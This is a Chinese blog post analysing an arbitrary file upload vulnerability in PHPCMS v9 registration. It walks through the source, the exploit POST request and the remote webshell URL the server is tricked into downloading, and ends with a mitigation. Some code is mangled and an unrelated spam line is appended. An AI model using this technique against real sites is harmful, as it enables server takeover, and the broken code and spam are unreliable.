PHPCMS最新版任意文件上傳漏洞分析 2017-04-13

前幾天就聽朋友說PHPCMS最新版出了幾個洞,有注入還有任意文件上傳,注入我倒不是很驚訝,因為phpcms只要拿到了authkey注入就一大堆……

任意文件上傳倒是很驚訝,但是小伙伴并沒有給我exp,今天看到了EXP,但是沒有詳細分析,那我就自己分析一下好啦。

首先去官網下一下最新版的程序,搭建起來。

為了方便各位小伙伴復現,這里附上最新版的下載地址:

鏈接: https://pan.baidu.com/s/1geNQfyb 密碼: gxsd

漏洞復現

漏洞復現的辦法是先打開注冊頁面,然后向注冊頁面POST如下payload:

siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=&dosubmit=1&protocol=

然后就會報錯并返回shell地址:

2465281435

然后就可以連接啦。

751491367

漏洞分析

通過復現過程可以看到漏洞URL為:

http://phpcms.localhost/index.php?m=member&c=index&a=register&siteid=1

可以確定是member模塊的問題,以前我分析過phpcms的程序,所以就不從index.php看了,我們直接去打開member模塊的控制器文件如下:

/Users/striker/www/phpcmsv9/phpcms/modules/member/index.php

方法應該是register,我們定位到這里的函數:

889152415

首先是獲取了一個$siteid然后加載了一些配置,再判斷是否存在$_POST['dosubmit'],如果存在則進入到注冊流程。

通過跟進發現跟我們漏洞有關的代碼應該是從129行開始:

//附表信息驗證 通過模型獲取會員信息
if($member_setting['choosemodel']) {
    require_once CACHE_MODEL_PATH.'member_input.class.php';
   require_once CACHE_MODEL_PATH.'member_update.class.php';
    $member_input = new member_input($userinfo['modelid']);        
    $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
    $user_model_info = $member_input->get($_POST['info']);                                        
}

其中第134行從POST請求中傳入了我們EXP的關鍵參數$_POST['info']

$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);

但使用new_html_special_chars函數過濾了一遍,我們來跟進下這個函數都干了些什么事情。

function new_html_special_chars($string) {
    $encoding = 'utf-8';
    if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';
    if(!is_array($string)) return htmlspecialchars($string,ENT_QUOTES,$encoding);
    foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);
    return $string;
}

好吧,只是用了htmlspecialchars函數來轉義HTML特殊字符,影響不是特別大,繼續往下跟,135行調用$member_input->get()方法進行了處理:

$user_model_info = $member_input->get($_POST['info']);

get方法不是很長,這里把代碼貼出來:

function get($data) {
    $this->data = $data = trim_script($data);
    $model_cache = getcache('member_model', 'commons');
    $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];

    $info = array();
    $debar_filed = array('catid','title','style','thumb','status','islink','description');
    if(is_array($data)) {
        foreach($data as $field=>$value) {
            if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
            $field = safe_replace($field);
            $name = $this->fields[$field]['name'];
            $minlength = $this->fields[$field]['minlength'];
            $maxlength = $this->fields[$field]['maxlength'];
            $pattern = $this->fields[$field]['pattern'];
            $errortips = $this->fields[$field]['errortips'];
            if(empty($errortips)) $errortips = "$name 不符合要求!";
            $length = empty($value) ? 0 : strlen($value);
            if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 個字符!");
            if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
            if($maxlength && $length > $maxlength && !$isimport) {
                showmessage("$name 不得超過 $maxlength 個字符!");
            } else {
                str_cut($value, $maxlength);
            }
            if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
            if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重復!");
            $func = $this->fields[$field]['formtype'];
            if(method_exists($this, $func)) $value = $this->$func($field, $value);
    
            $info[$field] = $value;
        }
    }
    return $info;
}

先調用了trim_script方法處理了一下$data,跟進查看:

 function trim_script($str) {
    if(is_array($str)){
        foreach ($str as $key => $val){
            $str[$key] = trim_script($val);
        }
     }else{
         $str = preg_replace ( '/\]*?)\>/si', '&lt;\\1script\\2&gt;', $str );
        $str = preg_replace ( '/\]*?)\>/si', '&lt;\\1iframe\\2&gt;', $str );
        $str = preg_replace ( '/\]*?)\>/si', '&lt;\\1frame\\2&gt;', $str );
        $str = str_replace ( 'javascript:', 'javascript:', $str );
     }
    return $str;
}

好吧,只是進行了部分正則替換,看樣子跟我們本次要談的漏洞關系不是特別大,繼續往下看。

get函數中有個關鍵的地方是if(is_array($data))我們payload中的infoj就是個數組,所以能走進這個if條件中,繼續跟。

先是用foreach進行遍歷$info,鍵名為$field,鍵值為$value,首先用safe_replace進行了一次安全替換:

$field = safe_replace($field);

safe_replace函數看看:

/**
 * 安全過濾函數
 *
 * @param $string
 * @return string
 */
function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','&quot;',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace('"','',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('','&gt;',$string);
    $string = str_replace("{",'',$string);
    $string = str_replace('}','',$string);
    $string = str_replace('\\','',$string);
    return $string;
}

將部分字符替換為空了,我們繼續往下跟,發現geth方法中這兩行很關鍵,很有可能跟漏洞相關:

$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);

先是獲取了一個$func,然后判斷方法如果存在就帶入這個函數,我這里用的debug模式,可以直接看到最終的$func是editor。

2678520509

然而實際上這個editor是存在數據庫中v9_model_field表中的。

3599160895

我們繼續跟進editor方法:

function editor($field, $value) {
    $setting = string2array($this->fields[$field]['setting']);
    $enablesaveimage = $setting['enablesaveimage'];
    $site_setting = string2array($this->site_config['setting']);
    $watermark_enable = intval($site_setting['watermark_enable']);
    $value = $this->attachment->download('content', $value,$watermark_enable);
    return $value;
}

然后這篇文章的高潮部分來了?。。?!

看這里:

$value = $this->attachment->download('content', $value,$watermark_enable);

$value,也就是我們的info[content]帶入到了$this->attachment->download函數!繼續跟??!

整段函數如下:

/**
 * 附件下載
 * Enter description here ...
 * @param $field 預留字段
 * @param $value 傳入下載內容
 * @param $watermark 是否加入水印
 * @param $ext 下載擴展名
 * @param $absurl 絕對路徑
 * @param $basehref 
 */
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
    global $image_d;
    $this->att_db = pc_base::load_model('attachment_model');
    $upload_url = pc_base::load_config('system','upload_url');
    $this->field = $field;
    $dir = date('Y/md/');
    $uploadpath = $upload_url.$dir;
    $uploaddir = $this->upload_root.$dir;
    $string = new_stripslashes($value);
    if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
    $remotefileurls = array();
    foreach($matches[3] as $matche)
    {
        if(strpos($matche, '://') === false) continue;
        dir_create($uploaddir);
        $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
    }
    unset($matches, $string);
    $remotefileurls = array_unique($remotefileurls);
    $oldpath = $newpath = array();
    foreach($remotefileurls as $k=>$file) {
        if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
        $filename = fileext($file);
        $file_name = basename($file);
        $filename = $this->getname($filename);

        $newfile = $uploaddir.$filename;
        $upload_func = $this->upload_func;
        if($upload_func($file, $newfile)) {
            $oldpath[] = $k;
            $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
            @chmod($newfile, 0777);
            $fileext = fileext($filename);
            if($watermark){
                watermark($newfile, $newfile,$this->siteid);
            }
            $filepath = $dir.$filename;
            $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
            $aid = $this->add($downloadedfile);
            $this->downloadedfiles[$aid] = $filepath;
        }
    }
    return str_replace($oldpath, $newpath, $value);
}    

先是設置了一些參數,然后把我們的payload帶入了一個new_stripslashes函數:

/**
 * 返回經stripslashes處理過的字符串或數組
 * @param $string 需要處理的字符串或數組
 * @return mixed
 */
function new_stripslashes($string) {
    if(!is_array($string)) return stripslashes($string);
    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
    return $string;
}

進行了一個stripslashes操作。

這行也是關鍵的一步:

if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

這里匹配了srchref中文件的文件名,不過后綴為$ext,其中$ext的值為:gif|jpg|jpeg|bmp|png

不過匹配的并不嚴格,還是有辦法可以繞過的,如圖:

160312422

這一步被繞過,下面應該就是下載文件了吧。。。

隨后在這一行帶入了函數fillurl

$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);

fillurl中還很貼心的給我們去掉了#后的內容:

$pos = strpos($surl,'#');
        if($pos>0) $surl = substr($surl,0,$pos);

這個時候$remotefileurls的值已然是http://files.hackersb.cn/webshell/antSword-shells/php_assert.php

隨后便進行了萬惡的下載:

$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
    $oldpath[] = $k;
    $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
    @chmod($newfile, 0777);
    $fileext = fileext($filename);
    if($watermark){
        watermark($newfile, $newfile,$this->siteid);
    }
    $filepath = $dir.$filename;
    $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
    $aid = $this->add($downloadedfile);
    $this->downloadedfiles[$aid] = $filepath;
}

其中$upload_func等同于php的copy函數。

然而:

2107406172

fopen一般都是可用的,如果開啟了allow_url_fopen,這個漏洞就構成了,然而大部分環境都默認開啟了allow_url_fopen。

最終在插入注冊信息時因為混入了未知的參數而導致插入失敗,報錯就顯示出了這個未知的參數 23333

至此,該漏洞分析完成。

漏洞修復

官方目前仍未發布修復補丁。

臨時修復方案可以考慮禁用uploadfile目錄下的PHP執行權限。

一级A片不卡在线观看